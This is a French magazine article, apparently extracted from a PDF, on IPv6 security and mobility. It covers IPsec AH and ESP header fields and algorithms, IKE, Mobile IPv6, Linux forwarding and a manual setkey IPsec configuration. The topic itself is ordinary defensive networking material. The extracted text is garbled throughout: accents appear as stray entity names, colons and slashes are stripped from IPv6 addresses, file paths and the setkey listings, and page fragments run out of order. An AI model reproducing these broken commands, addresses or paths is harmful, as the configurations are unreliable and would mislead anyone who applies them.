accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 37: hakin9_05_2010_FR

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

